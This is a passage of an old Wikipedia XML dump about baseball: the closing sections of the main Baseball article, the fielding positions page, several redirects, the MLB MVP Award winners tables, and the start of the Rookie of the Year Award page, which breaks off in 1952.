** [[Korean Baseball Organization]] (KBO)
** [[Australian Baseball]]
** There are also smaller professional leagues in [[China Baseball League|China]], Italy, [[Bundesliga (baseball)|Germany]], the [[Dutch Major League|Netherlands]] and many others.

==See also==
* [[Comparison between cricket and baseball]]
* [[Baseball Hall of Fame]]
* [[Baseball awards]]
* [[Simplified baseball rules]]
* [[Major League Baseball transactions]]

===Culture===
* [[Baseball slang]]
* [[Ceremonial first pitch]]
* [[List of baseball jargon]] 
* [[List of baseball nicknames]]
* &quot;[[Casey at the Bat]]&quot;
* &quot;[[Curse of the Bambino]]&quot;   
* &quot;[[Curse of the billy goat]]&quot;
* &quot;[[Who's on First?]]&quot;
* [[Baseball superstition]]
* [[Baseball card]]
* [[Baseball movie]]
* [[Fantasy baseball]]
* [[Cuban Baseball]]
* [[Baseball Metaphor]]

===Statistics and lists===
* [[Baseball fielding positions]]
* [[Baseball scorekeeping]]
* [[List of baseball jargon]] (terms used in the game)
* [[Baseball slang]] (slang also used outside the scope of baseball)
* [[List of rare baseball events]] (occurring within a single game)
* [[:Category:Baseball terminology|Baseball terminology]]
* [[:Category:Major league baseball players by national origin]]
*[[Sports league attendances]]

==Footnote==
#{{note|ThirdStrikeRule}}The &quot;third strike rule&quot;, which has been on the books since at least the time of the [[Knickerbocker Rules]], is that the batter can try to advance to first base on the third strike, if the third strike is not caught.  However, the batter is ''not'' permitted to advance if first base is occupied, unless there are already two outs. This is to prevent the catcher from dropping the ball on purpose and setting up a potential double or triple play. The underlying concept is the same as the &quot;[[Infield fly|Infield Fly Rule]]&quot;, to curb defensive [[Shenanigan|shenanigans]]. Both rules change when there are two outs, because then there is no defensive advantage to dropping the ball on purpose. Statistically, such a play still counts as a strikeout for the pitcher, plus either a passed ball charged to the catcher or a wild pitch charged to the pitcher, so if the batter advances safely to first on such a play, it is possible for a pitcher to record 4 (or more) strikeouts in one inning. Such has happened several dozen times in the history of the major leagues, and at least one time in the minor leagues a pitcher has recorded 5.

==References==
* [[Joe Brinkman]] and Charlie Euchner, ''The Umpire's Handbook'', rev. ed. (1987)
* [[Bill James]] and John Dewan, ''Bill James Presents the Great American Baseball Stat Book'', ed. by Geoff Beckman et al. (1987)
* [[Bill James]], ''The New Bill James Historical Baseball Abstract'', (ISBN 0743227220)
* Robert Peterson, ''Only the Ball Was White'' (1970, reprinted 1984)
* Joseph L. Reichler  (ed.), ''The Baseball Encyclopedia'', 7th rev. ed. (1988). (since 1871)
* Lawrence Ritter and Donald Honig, ''The Image of Their Greatness: An Illustrated History of Baseball from 1900 to the Present'', updated ed. (1984)
* Lawrence S. Ritter (comp.), ''[[Glory of Their Times|The Glory of Their Times: The Story of the Early Days of Baseball Told by the Men Who Played It]]'', new ed. (1984)
* David Quentin Voigt, ''Baseball, an Illustrated History'' (1987)
* Jeff MacGregor, The New Electoral Sex Symbol: Nascar Dad, ''The New York Times'' (January 18, 2004)
* Michael Mandelbaum, ''The Meaning of Sports'', (PublicAffairs, ISBN 1-58648-252-1).
* ''Diamonds of the North: A Concise History of Baseball in Canada'' by [[William Humber]] (Oxford University Press, 1995).
* ''Old Time Baseball and the London Tecumsehs of the late 1870s'' by Les Bronson, a recorded (and later transcribed) talk given to the London &amp; Middlesex Historical Society on February 15, 1972. Available in the London Room of the Central Branch of the London Public Library.
* ''Journal of Sport History'' (1988), ''A Critical Examination of a Source in Early Ontario Baseball: The Reminiscence of Adam E. Ford'' by UWO Professor Robert K. Barney and Nancy Bouchier.
* ''[[The Beaver]], Exploring Canada's History'' October-November 1994, ''Baseball's Canadian Roots: Abner Who?'' by Mark Kearney.
* ''The Northern Game: Baseball the Canadian Way'' by Bob Elliott (Sport Classic, 2005).
* '''The 1948 London Majors: A Great Canadian Team'' by Dan Mendham (unpublished academic paper, [[UWO]], December 7, 1992).
* An Eight-Page Indenture/ Instrument #33043 between The London and Western Trusts Company Limited, The Corporation of The City of London and [[John Labatt, Limited]], dated December 31, 1936, and registered on title in the Land Registry Office for the City of London on January 2, 1937, conveying Tecumseh Park to the City of London along with $10,000 on the provisos that the athletic field be preserved, maintained and operated &quot;for the use of the citizens of the City of London as an athletic field and recreation ground&quot; and that it be renamed &quot;The John Labatt Memorial Athletic Park.&quot;
* ''Heritage Baseball: City of London'' a souvenir program from July 23, 2005, celebrating the history of [[Labatt Park]] and [[London, Ontario]]'s 150th anniversary as an incorporated city.
* [http://boston.redsox.mlb.com/NASApp/mlb/news/article.jsp?ymd=20050802&amp;content_id=1154441&amp;vkey=news_bos&amp;fext=.jsp&amp;c_id=bos Pittsfield: Small city, big baseball town], earliest known baseball reference

==External links==
* [http://www.mlb.com Official Website of Major League Baseball]
* [http://www.nymutuals.com/ New York Mutuals Vintage Base Ball Club]
* [http://www.oldbethpage.org/baseball_info.htm 19th Century Base Ball at Old Bethpage Long Island]
* [http://mlb.mlb.com/NASApp/mlb/mlb/official_info/baseball_basics/on_the_field.jsp Baseball Basics from MLB.com]
* [http://mlb.mlb.com/NASApp/mlb/mlb/official_info/official_rules/foreword.jsp MLB Official Rules]
* [http://www.cycleback.com/museumbb.html Online Museum of Early Baseball Memorabilia]
* [http://www.baseballblogs.org Baseball Blogs Directory]
* [http://www.thebaseballcube.com Baseball Statistics]
* [http://www.baseball-links.com/links/International/ International Baseball]
* [http://www.pbs.org/stealinghome] (A documentary about baseball and society in Cuba.  Directed by Robert A. Clift and Salomé Aguilera Skvirsky)
* [http://www.robbinssports.com/articles/baseball-in-shanghai-china.php Baseball in China Article]
*[http://www.sports-facts.com/mlb.htm MLB News and Facts]
*[http://autographedpc.home.att.net/TTM/ A look at baseball through rarely seen postcards]

{{Olympic baseball}}





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    <id>3851</id>
    <revision>
      <id>38026011</id>
      <timestamp>2006-02-03T18:09:32Z</timestamp>
      <contributor>
        <username>Hall Monitor</username>
        <id>265063</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.1.206.178|72.1.206.178]] ([[User talk:72.1.206.178|talk]]) to last version by Gaius Cornelius</comment>
      <text xml:space="preserve">[[Image:Baseball text.png|300px|right]]
There are 9 '''fielding positions''' in [[baseball]].  Each position has an associated number (from 1 to 9) which is used [[official scorer|to score]] putouts.  For example:
*If the third baseman fields a ball and throws it to first, it is recorded as a 5-3 [[out (baseball)|out]].
*A [[double play]] where the second baseman fields, throws to the shortstop at second base, who throws to the first baseman is recorded as a 4-6-3 double play.

The fielding positions in baseball are the basis for the famous comedy routine ''[[Who's On First?]]'', created by the team of [[Abbott and Costello]].

==Roles of fielders==
* '''P''': [[Pitcher]] (Position &quot;number&quot; 1).  While the primary role of a pitcher is to pitch the ball, he must also be able to field his position.  This consists of fielding ground balls and bunts up the middle of the diamond, and running to cover first base on any batted ball that pulls the first baseman out of position. 
* '''C''': [[Catcher]] (2). Wears protective equipment: mask, special helmet, shin guards, chest protector. Uses special glove designed as a padded target. He must catch, or at least block, all the pitches to prevent baserunners from advancing, in addition to preventing stolen bases with a strong throwing arm.  He must also catch pop-ups into the foul territory behind the baseline, and tag out runners who are attempting to score, while blocking their access to home plate. Backs up first base on all plays where a runner is not a risk to score.
* '''1B''': [[First baseman|First Base]] (3).  The first baseman's job, in addition to fielding balls hit in his direction, is primarily to catch throws from the other [[infielder]]s (2B, 3B and SS) in order to retire the batter and prevent him from getting on base.  When a runner is on first base, the first baseman will tend to stand on or near the bag, holding the runner close to prevent the runner from stealing second base.  
* '''2B''': [[Second baseman|Second Base]] (4).  The second baseman has the important defensive role to field ground balls hit toward him and, if necessary, start a double play.  When the ball is hit to the shortstop, the second baseman will help &quot;turn&quot; a double play by stepping on second base, fielding the throw from SS, and throwing to first base, to retire both the batter, and the runner on first.
* '''3B''': [[Third baseman|Third Base]] (5).  Third base is known as &quot;The Hot Corner&quot;, since most right-handed hitters will tend to hit the ball hard in this direction.  The third baseman must be able to field ground balls and throw strongly to first base, as well as cover fly balls in fair and foul territory.
* '''SS''': [[Shortstop|Shortstop]] (6).  Shortstops, like the second baseman, must field ground balls and start or turn double plays.  In addition, they need a stronger arm as the throw to first base is farther from the shortstop side.
* '''LF''': [[Left fielder|Left Field]] (7), '''CF''': [[Center fielder|Center Field]] (8), '''RF''': [[Right fielder|Right Field]] (9).  The role of the [[outfielder]]s is to chase down and catch any ball hit into the outfield and, if necessary, make a rapid and accurate return throw, either to a base or to the &quot;cut-off man&quot;, an infielder who has moved into a position specifically to make a relay throw.

==Other team personnel==
*[[Manager (baseball)|Manager]]
*[[Coach (baseball)|Coaches]]
*[[Utility player (baseball)|Utility players]]
*[[Designated hitter]]

==See also==
*[[Baseball positioning]] (depths and shifts)
*[[Gold Glove Award]] (for fielding excellence)

{{BaseballPositions}}

[[Category:Baseball positions|*]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball/Major leagues</title>
    <id>3852</id>
    <revision>
      <id>15902164</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>RjLesch</username>
        <id>14</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Major League Baseball]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball/World Series</title>
    <id>3854</id>
    <revision>
      <id>15902166</id>
      <timestamp>2002-07-12T04:35:54Z</timestamp>
      <contributor>
        <username>Gareth Owen</username>
        <id>151</id>
      </contributor>
      <minor />
      <comment>*make redirect work (hopefully)</comment>
      <text xml:space="preserve">#REDIRECT [[World Series]]
</text>
    </revision>
  </page>
  <page>
    <title>Baseball/History of baseball</title>
    <id>3855</id>
    <revision>
      <id>15902167</id>
      <timestamp>2002-08-23T02:43:53Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of baseball]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball/History</title>
    <id>3856</id>
    <revision>
      <id>15902168</id>
      <timestamp>2002-05-23T07:13:16Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of baseball]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball/Negro Leagues</title>
    <id>3857</id>
    <revision>
      <id>23471222</id>
      <timestamp>2005-09-18T17:43:40Z</timestamp>
      <contributor>
        <username>Bash</username>
        <id>225814</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Negro league baseball]]</text>
    </revision>
  </page>
  <page>
    <title>MLB Most Valuable Player Award</title>
    <id>3858</id>
    <revision>
      <id>41656226</id>
      <timestamp>2006-02-28T21:07:55Z</timestamp>
      <contributor>
        <username>Raymondluxuryacht</username>
        <id>547894</id>
      </contributor>
      <comment>/* BBWAA Awards (1931-present) */</comment>
      <text xml:space="preserve">In the game of [[baseball]], both amateur and professional, it is tradition to annually recognize the one player in the league who has contributed the most to the success of the player's team.

In the [[United States]], the awarding of the '''Most Valuable Player Award''' (or '''MVP''') in [[Major League Baseball]] has changed hands several times but since the [[1930s]] has been awarded by the [[Baseball Writers Association of America]].
A tally example of the 1999 [[American League]] Most Valuable Player Award can be found [http://sportsillustrated.cnn.com/baseball/mlb/news/1999/11/18/almvp_voting/ here] that uses the [[Borda count]] voting method.

==Chalmers Award (1911-1914)==

The [[Chalmers Automobile Company]] awarded an automobile in [[1910]] to the batting average leader in each league.  This led to a contoversy in the American League; [[Ty Cobb]] and [[Nap Lajoie]] entered the final day of the season neck-and-neck.  [[Baltimore Orioles|St. Louis]], playing Lajoie's [[Cleveland Indians|Cleveland]] team, played their infield back, allowing Lajoie to beat out seven bunt singles in a doubleheader and win the title.  In the ensuing debacle, Chalmers awarded automobiles to both players.  (The question of who really won the batting title is still debated.)

For [[1911]], the Chalmers Company decided that batting average was too narrow a focus for an award.  The Chalmers Award was the first attempt to recognize a player for overall contributions to his team's success—hence the designation ''Most Valuable'' rather than &quot;player of the year&quot;, a distinction which remains today.

{| class=&quot;wikitable&quot;
|-
! Year
! American League
! National League
|-
| [[1911]]
| [[Ty Cobb]], [[Detroit Tigers]], OF
| [[Wildfire Schulte]], [[Chicago Cubs]], OF
|-
| [[1912]]
| [[Tris Speaker]], [[Boston Red Sox]], OF
| [[Larry Doyle (baseball player)|Larry Doyle]], [[San Francisco Giants|New York Giants]], 2B
|-
| [[1913]]
| [[Walter Johnson]], [[Minnesota Twins|Washington Senators]], P
| [[Jake Daubert]], [[Los Angeles Dodgers|Brooklyn Dodgers]], 1B
|-
| [[1914]]
| [[Eddie Collins]], [[Oakland Athletics|Philadelphia Athletics]], 2B
| [[Johnny Evers]], [[Atlanta Braves|Boston Braves]], 2B
|}

==League Awards (1922-1929)==

In the [[1920s]] the leagues awarded MVP titles, but limited the ballot options to one player per team, which led to there being no National League MVP in [[1922]] or [[1923]]. A League Award could also be won by a player only once, leading to unusual results like [[Babe Ruth]]'s 1927 (one of the greatest offensive seasons of all time) not being eligible for the award.  The rule was changed in time for [[Rogers Hornsby]] to become the first man to win two MVP awards, in [[1929]].

{| class=&quot;wikitable&quot;
|-
! Year
! American League
! National League
|-
| [[1922]]
| [[George Sisler]], [[Baltimore Orioles|St Louis Browns]], 1B
| ''No winner''
|-
| [[1923]]
| [[Babe Ruth]], [[New York Yankees]], OF
| ''No winner''
|-
| [[1924]]
| [[Walter Johnson]], [[Minnesota Twins|Washington Senators]], P
| [[Dazzy Vance]], [[Los Angeles Dodgers|Brooklyn Dodgers]], P
|-
| [[1925]]
| [[Roger Peckinpaugh]], [[Minnesota Twins|Washington Senators]], SS
| [[Rogers Hornsby]], [[St. Louis Cardinals]], 2B
|-
| [[1926]]
| [[George Burns (first baseman)|George Burns]], [[Cleveland Indians]], 1B
| [[Bob O'Farrell]], [[St. Louis Cardinals]], C
|-
| [[1927 in baseball|1927]]
| [[Lou Gehrig]], [[New York Yankees]], 1B
| [[Paul Waner]], [[Pittsburgh Pirates]], OF
|-
| [[1928]]
| [[Mickey Cochrane]], [[Oakland Athletics|Philadelphia Athletics]], C
| [[Jim Bottomley]], [[St. Louis Cardinals]], 1B
|-
| [[1929]]
| ''No winner''
| [[Rogers Hornsby]], [[Chicago Cubs]], 2B
|}

==BBWAA Awards (1931-present)==

In [[1931]], the [[Baseball Writers Association of America]] began awarding the Most Valuable Player trophy.

In [[1956]] the [[Cy Young Award]] was first given to the best pitcher in Major League Baseball (the current practice of honoring the best pitcher in each league did not begin until [[1967]]).  After that, the belief arose that the Most Valuable Player ought to be a position player, based on two factors, one being that pitchers had their own award, and the other being that pitchers could not be considered as valuable as position players since they do not play every day. On occasion, though, pitchers still win the award, and the current rules for the MVP specifically state that pitchers are to be considered. Since 1971, however, only four pitchers have won the award, the last being [[Dennis Eckersley]] in [[1992 in baseball|1992]]. 

{| class=&quot;wikitable&quot;
|-
! Year
! American League
! National League
|-
| [[1931]]
| [[Lefty Grove]], [[Oakland Athletics|Philadelphia Athletics]], P
| [[Frankie Frisch]], [[St. Louis Cardinals]], 2B
|-
| [[1932]]
| [[Jimmie Foxx]], [[Oakland Athletics|Philadelphia Athletics]], 1B
| [[Chuck Klein]], [[Philadelphia Phillies]], OF
|-
| [[1933]]
| [[Jimmie Foxx]], [[Oakland Athletics|Philadelphia Athletics]], 1B
| [[Carl Hubbell]], [[San Francisco Giants|New York Giants]], P
|-
| [[1934]]
| [[Mickey Cochrane]], [[Detroit Tigers]], C
| [[Dizzy Dean]], [[St Louis Cardinals]], P
|-
| [[1935]]
| [[Hank Greenberg]]†, [[Detroit Tigers]], 1B
| [[Gabby Hartnett]], [[Chicago Cubs]], C
|-
| [[1936]]
| [[Lou Gehrig]], [[New York Yankees]], 1B
| [[Carl Hubbell]], [[San Francisco Giants|New York Giants]], P
|-
| [[1937]]
| [[Charlie Gehringer]], [[Detroit Tigers]], 2B
| [[Joe Medwick]], [[St Louis Cardinals]], OF
|-
| [[1938]]
| [[Jimmie Foxx]], [[Boston Red Sox]], 1B
| [[Ernie Lombardi]], [[Cincinnati Reds]], C
|-
| [[1939 in baseball|1939]]
| [[Joe DiMaggio]], [[New York Yankees]], OF
| [[Bucky Walters]], [[Cincinnati Reds]], P
|-
| [[1940]]
| [[Hank Greenberg]], [[Detroit Tigers]], OF
| [[Frank McCormick]], [[Cincinnati Reds]], 1B
|-
| [[1941 in baseball|1941]]
| [[Joe DiMaggio]], [[New York Yankees]], OF
| [[Dolph Camilli]], [[Los Angeles Dodgers|Brooklyn Dodgers]], 1B
|-
| [[1942]]
| [[Joe Gordon (baseball player)|Joe Gordon]], [[New York Yankees]], 2B
| [[Mort Cooper]], [[St Louis Cardinals]], P
|-
| [[1943]]
| [[Spud Chandler]], [[New York Yankees]], P
| [[Stan Musial]], [[St Louis Cardinals]], OF
|-
| [[1944]]
| [[Hal Newhouser]], [[Detroit Tigers]], P
| [[Marty Marion]], [[St Louis Cardinals]], SS
|-
| [[1945]]
| [[Hal Newhouser]], [[Detroit Tigers]], P
| [[Phil Cavarretta]], [[Chicago Cubs]], 1B
|-
| [[1946]]
| [[Ted Williams]], [[Boston Red Sox]], OF
| [[Stan Musial]], [[St. Louis Cardinals]], 1B
|-
| [[1947 in baseball|1947]]
| [[Joe DiMaggio]], [[New York Yankees]], OF
| [[Bob Elliott (baseball)|Bob Elliott]], [[Atlanta Braves|Boston Braves]], 3B
|-
| [[1948]]
| [[Lou Boudreau]], [[Cleveland Indians]], SS
| [[Stan Musial]], [[St. Louis Cardinals]], OF
|-
| [[1949 in baseball|1949]]
| [[Ted Williams]], [[Boston Red Sox]], OF
| [[Jackie Robinson]], [[Los Angeles Dodgers|Brooklyn Dodgers]], 2B
|-
| [[1950 in baseball|1950]]
| [[Phil Rizzuto]], [[New York Yankees]], SS
| [[Jim Konstanty]], [[Philadelphia Phillies]], P
|-
| [[1951 in baseball|1951]]
| [[Yogi Berra]], [[New York Yankees]], C
| [[Roy Campanella]], [[Los Angeles Dodgers|Brooklyn Dodgers]], C
|-
| [[1952 in baseball|1952]]
| [[Bobby Shantz]], [[Oakland Athletics|Philadelphia Athletics]], P
| [[Hank Sauer]], [[Chicago Cubs]], OF
|-
| [[1953 in baseball|1953]]
| [[Al Rosen]]†, [[Cleveland Indians]], 3B
| [[Roy Campanella]], [[Los Angeles Dodgers|Brooklyn Dodgers]], C
|-
| [[1954 in baseball|1954]]
| [[Yogi Berra]], [[New York Yankees]], C
| [[Willie Mays]], [[San Francisco Giants|New York Giants]], OF
|-
| [[1955 in baseball|1955]]
| [[Yogi Berra]], [[New York Yankees]], C
| [[Roy Campanella]], [[Los Angeles Dodgers|Brooklyn Dodgers]], C
|-
| [[1956 in baseball|1956]]
| [[Mickey Mantle]]†, [[New York Yankees]], OF
| [[Don Newcombe]], [[Los Angeles Dodgers|Brooklyn Dodgers]], P
|-
| [[1957 in baseball|1957]]
| [[Mickey Mantle]], [[New York Yankees]], OF
| [[Hank Aaron]], [[Atlanta Braves|Milwaukee Braves]], OF
|-
| [[1958 in baseball|1958]]
| [[Jackie Jensen]], [[Boston Red Sox]], OF
| [[Ernie Banks]], [[Chicago Cubs]], SS
|-
| [[1959 in baseball|1959]]
| [[Nellie Fox]], [[Chicago White Sox]], 2B
| [[Ernie Banks]], [[Chicago Cubs]], SS
|-
| [[1960 in baseball|1960]]
| [[Roger Maris]], [[New York Yankees]], OF
| [[Dick Groat]], [[Pittsburgh Pirates]], SS
|-
| [[1961 in baseball|1961]]
| [[Roger Maris]], [[New York Yankees]], OF
| [[Frank Robinson]], [[Cincinnati Reds]], OF
|-
| [[1962 in baseball|1962]]
| [[Mickey Mantle]], [[New York Yankees]], OF
| [[Maury Wills]], [[Los Angeles Dodgers]], SS
|-
| [[1963 in baseball|1963]]
| [[Elston Howard]], [[New York Yankees]], C
| [[Sandy Koufax]], [[Los Angeles Dodgers]], P
|-
| [[1964 in baseball|1964]]
| [[Brooks Robinson]], [[Baltimore Orioles]], 3B
| [[Ken Boyer]], [[St Louis Cardinals]], 3B
|-
| [[1965 in baseball|1965]]
| [[Zoilo Versalles]], [[Minnesota Twins]], SS
| [[Willie Mays]], [[San Francisco Giants]], OF
|-
| [[1966 in baseball|1966]]
| [[Frank Robinson]]†, [[Baltimore Orioles]], OF
| [[Roberto Clemente]], [[Pittsburgh Pirates]], OF
|-
| [[1967 in baseball|1967]]
| [[Carl Yastrzemski]], [[Boston Red Sox]], OF
| [[Orlando Cepeda]]†, [[St Louis Cardinals]], 1B
|-
| [[1968 in baseball|1968]]
| [[Denny McLain]]†, [[Detroit Tigers]], P
| [[Bob Gibson]], [[St Louis Cardinals]], P
|-
| [[1969 in baseball|1969]]
| [[Harmon Killebrew]], [[Minnesota Twins]], 3B
| [[Willie McCovey]], [[San Francisco Giants]], 1B
|-
| [[1970 in baseball|1970]]
| [[Boog Powell]], [[Baltimore Orioles]], 1B
| [[Johnny Bench]], [[Cincinnati Reds]], C
|-
| [[1971 in baseball|1971]]
| [[Vida Blue]], [[Oakland Athletics]], P
| [[Joe Torre]], [[St Louis Cardinals]], 3B
|-
| [[1972 in baseball|1972]]
| [[Dick Allen]], [[Chicago White Sox]], 1B
| [[Johnny Bench]], [[Cincinnati Reds]], C
|-
| [[1973 in baseball|1973]]
| [[Reggie Jackson]]†, [[Oakland Athletics]], OF
| [[Pete Rose]], [[Cincinnati Reds]], OF
|-
| [[1974 in baseball|1974]]
| [[Jeff Burroughs]], [[Texas Rangers (baseball)|Texas Rangers]], OF
| [[Steve Garvey]], [[Los Angeles Dodgers]], 1B
|-
| [[1975 in baseball|1975]]
| [[Fred Lynn]], [[Boston Red Sox]], OF
| [[Joe Morgan]], [[Cincinnati Reds]], 2B
|-
| [[1976 in baseball|1976]]
| [[Thurman Munson]], [[New York Yankees]], C
| [[Joe Morgan]], [[Cincinnati Reds]], 2B
|-
| [[1977 in baseball|1977]]
| [[Rod Carew]], [[Minnesota Twins]], 1B
| [[George Foster (baseball player)|George Foster]], [[Cincinnati Reds]], OF
|-
| [[1978 in baseball|1978]]
| [[Jim Rice]], [[Boston Red Sox]], OF
| [[Dave Parker (baseball player)|Dave Parker]], [[Pittsburgh Pirates]], OF
|-
| [[1979 in baseball|1979]]
| [[Don Baylor]], [[California Angels]], DH
| [[Keith Hernandez]], [[St. Louis Cardinals]], 1B&lt;br /&gt;[[Willie Stargell]], [[Pittsburgh Pirates]], 1B
|-
| [[1980 in baseball|1980]]
| [[George Brett (baseball)|George Brett]], [[Kansas City Royals]], 3B
| [[Mike Schmidt]]†, [[Philadelphia Phillies]], 3B
|-
| [[1981 in baseball|1981]]
| [[Rollie Fingers]], [[Milwaukee Brewers]], P
| [[Mike Schmidt]], [[Philadelphia Phillies]], 3B
|-
| [[1982 in baseball|1982]]
| [[Robin Yount]], [[Milwaukee Brewers]], SS
| [[Dale Murphy]], [[Atlanta Braves]], OF
|-
| [[1983 in baseball|1983]]
| [[Cal Ripken, Jr.]], [[Baltimore Orioles]], SS
| [[Dale Murphy]], [[Atlanta Braves]], OF
|-
| [[1984 in baseball|1984]]
| [[Willie Hernandez]], [[Detroit Tigers]], P
| [[Ryne Sandberg]], [[Chicago Cubs]], 2B
|-
| [[1985 in baseball|1985]]
| [[Don Mattingly]], [[New York Yankees]], 1B
| [[Willie McGee]], [[St. Louis Cardinals]], OF
|-
| [[1986 in baseball|1986]]
| [[Roger Clemens]], [[Boston Red Sox]], P
| [[Mike Schmidt]], [[Philadelphia Phillies]], 3B
|-
| [[1987 in baseball|1987]]
| [[George Bell (baseball player)|George Bell]], [[Toronto Blue Jays]], OF
| [[Andre Dawson]], [[Chicago Cubs]], OF
|-
| [[1988 in baseball|1988]]
| [[Jose Canseco]]†, [[Oakland Athletics]], OF
| [[Kirk Gibson]], [[Los Angeles Dodgers]], OF
|-
| [[1989 in baseball|1989]]
| [[Robin Yount]], [[Milwaukee Brewers]], OF
| [[Kevin Mitchell (baseball player)|Kevin Mitchell]], [[San Francisco Giants]], OF
|-
| [[1990 in baseball|1990]]
| [[Rickey Henderson]], [[Oakland Athletics]], OF
| [[Barry Bonds]], [[Pittsburgh Pirates]], OF
|-
| [[1991 in baseball|1991]]
| [[Cal Ripken, Jr.]], [[Baltimore Orioles]], SS
| [[Terry Pendleton]], [[Atlanta Braves]], 3B
|-
| [[1992 in baseball|1992]]
| [[Dennis Eckersley]], [[Oakland Athletics]], P
| [[Barry Bonds]], [[Pittsburgh Pirates]], OF
|-
| [[1993 in baseball|1993]]
| [[Frank Thomas (AL baseball player)|Frank Thomas]]†, [[Chicago White Sox]], 1B
| [[Barry Bonds]], [[San Francisco Giants]], OF
|-
| [[1994 in baseball|1994]]
| [[Frank Thomas (AL baseball player)|Frank Thomas]], [[Chicago White Sox]], 1B
| [[Jeff Bagwell]]†, [[Houston Astros]], 1B
|-
| [[1995 in baseball|1995]]
| [[Mo Vaughn]], [[Boston Red Sox]], 1B
| [[Barry Larkin]], [[Cincinnati Reds]], SS
|-
| [[1996 in baseball|1996]]
| [[Juan González]], [[Texas Rangers (baseball)|Texas Rangers]], OF
| [[Ken Caminiti]]†, [[San Diego Padres]], 3B
|-
| [[1997 in baseball|1997]]
| [[Ken Griffey, Jr.]]†, [[Seattle Mariners]], OF
| [[Larry Walker]], [[Colorado Rockies]], OF
|-
| [[1998 in baseball|1998]]
| [[Juan González]], [[Texas Rangers (baseball)|Texas Rangers]], OF
| [[Sammy Sosa]], [[Chicago Cubs]], OF
|-
| [[1999 in baseball|1999]]
| [[Iván Rodríguez]], [[Texas Rangers (baseball)|Texas Rangers]], C
| [[Chipper Jones]], [[Atlanta Braves]], 3B
|-
| [[2000 in baseball|2000]]
| [[Jason Giambi]], [[Oakland Athletics]], 1B
| [[Jeff Kent]], [[San Francisco Giants]], 2B
|-
| [[2001 in baseball|2001]]
| [[Ichiro Suzuki]], [[Seattle Mariners]], OF
| [[Barry Bonds]], [[San Francisco Giants]], OF
|-
| [[2002 in baseball|2002]]
| [[Miguel Tejada]], [[Oakland Athletics]], SS
| [[Barry Bonds]]†, [[San Francisco Giants]], OF
|-
| [[2003 in baseball|2003]]
| [[Alex Rodriguez]], [[Texas Rangers (baseball)|Texas Rangers]], SS
| [[Barry Bonds]], [[San Francisco Giants]], OF
|-
| [[2004 in baseball|2004]]
| [[Vladimir Guerrero]], [[Los Angeles Angels of Anaheim|Anaheim Angels]], OF
| [[Barry Bonds]], [[San Francisco Giants]], OF
|-
| [[2005 in baseball|2005]]
| [[Alex Rodriguez]], [[New York Yankees]], 3B
| [[Albert Pujols]], [[St. Louis Cardinals]], 1B
|}

†''Denotes unanimous decision.''

==See also==
[[The Sporting News Most Valuable Player Award]].

[[Category:Baseball awards and trophies|Most Valuable Player]]</text>
    </revision>
  </page>
  <page>
    <title>MLB Rookie of the Year Award</title>
    <id>3859</id>
    <revision>
      <id>41696336</id>
      <timestamp>2006-03-01T03:02:04Z</timestamp>
      <contributor>
        <ip>67.170.67.92</ip>
      </contributor>
      <comment>/* American and National League winners (1949-present) */ fixed alternating colors</comment>
      <text xml:space="preserve">In [[Major League Baseball]], the '''Rookie of the Year Award''' is given to the top [[rookie]] [[baseball]] player in the [[American League|American]] and [[National League|National]] Leagues.

From 1940-1946, the Chicago chapter of the Baseball Writers' Association of America (BBWAA) selected a rookie of the year.  In [[1947]], they invited all members of the BBWAA to vote.  Coincidentally, [[1947]] was the year in which [[Jackie Robinson]] endured the toughest rookie year in baseball history.  Fittingly, he won the award.  Orginally the award was known as the J. Louis Comiskey Memorial Award.  In [[1987]], in honor of the 40th year since Jackie Robinson broke the color line, it became known as the Jackie Robinson Award.

The award has come under scrutiny in recent years with the awarding to rookie [[Japan]]ese players with prior experience in Japan.  While rookies to Major League Baseball, players like [[Hideo Nomo]], [[Kazuhiro Sasaki]], [[Ichiro Suzuki]], and [[Hideki Matsui]] were already tested professionals before coming to the [[United States]].  Some baseball writers questioned what the definition of ''rookie'' really is.  Currently, there is no age restriction or restriction on experience outside of the Major Leagues.

Only two players, both in the American League, have been named Rookie of the Year and [[MLB Most Valuable Player award|MVP]] in the same year&amp;mdash;[[Fred Lynn]] in [[1975]] and [[Ichiro Suzuki]] in [[2001]].

__NOTOC__

==What qualifies as a rookie?==

In order to qualify for the award a player must have accumulated, prior to the season under consideration:
* Fewer than 130 at bats and 50 innings pitched in the Major Leagues ''or''
* Fewer than 45 days on the active rosters of Major League clubs (excluding DL time or any time after rosters are expanded on September first)

==List of Rookie of the Year winners==
=== Major Leagues combined (1947-1948) ===
{| border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot; width=&quot;450&quot;
|- style=&quot;background: #e3e3e3;&quot;
! Year
! align=&quot;left&quot; | Player, Team, Position
|-
| [[1947]]
| [[Jackie Robinson]], [[Los Angeles Dodgers|Brooklyn Dodgers]], 1B
|- style=&quot;background: #e3e3e3;&quot;
| [[1948]]
| [[Alvin Dark]], [[Atlanta Braves|Boston Braves]], SS
|}

=== American and National League winners (1949-present) ===
{| border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot;
|- style=&quot;background: #e3e3e3;&quot;
! Year
! American League
! National League
|-
| [[1949]]
| [[Roy Sievers]], [[Baltimore Orioles|St. Louis Browns]], OF
| [[Don Newcombe]], [[Los Angeles Dodgers|Brooklyn Dodgers]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1950]]
| [[Walt Dropo]], [[Boston Red Sox]], 1B
| [[Sam Jethroe]], [[Atlanta Braves|Boston Braves]], OF 
|-
| [[1951]]
| [[Gil McDougald]], [[New York Yankees]], 3B
| [[Willie Mays]], [[San Francisco Giants|New York Giants]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1952]]
| [[Harry Byrd (baseball)|Harry Byrd]], [[Oakland Athletics|Philadelphia Athletics]], P
